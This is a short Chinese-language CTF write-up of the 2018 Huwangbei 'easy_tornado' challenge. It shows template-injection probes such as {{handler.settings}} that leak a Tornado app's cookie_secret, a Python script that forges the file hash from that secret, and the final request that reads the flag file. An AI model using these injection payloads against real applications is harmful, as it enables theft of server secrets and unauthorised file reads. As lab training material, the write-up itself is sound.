[护网杯 2018]easy_tornado
知识点
- ssti
- handler.settings
题目如图所示
依次点开得到
同时在URL中可以看到
file?filename=/hints.txt&filehash=8590dfced9b10ac7d05a1c291e590312
说明要读取/fllllllllllllag,还需要相关的hash值,根据hints.txt得知这里为cookie_secret
尝试filename=/fllllllllllllag得到
尝试模板注入msg={{7*7}}
得到ORZ,说明不存在这个运算。
尝试msg={{1}}
得到
根据wp,使用msg={{handler.settings}}
,得到
有了cookie_secret后写脚本获取hash
#coding:utf-8 import hashlib cookie_secret = 'c82109ee-7f7f-404a-9e2c-9a5759d997e4' filename = '/fllllllllllllag' file_hash = hashlib.md5(filename).hexdigest() new_filename = cookie_secret + file_hash print hashlib.md5(new_filename).hexdigest()
payload
/file?filename=/fllllllllllllag&filehash=1d4a187e5648c845960f48ad9cc0bbf5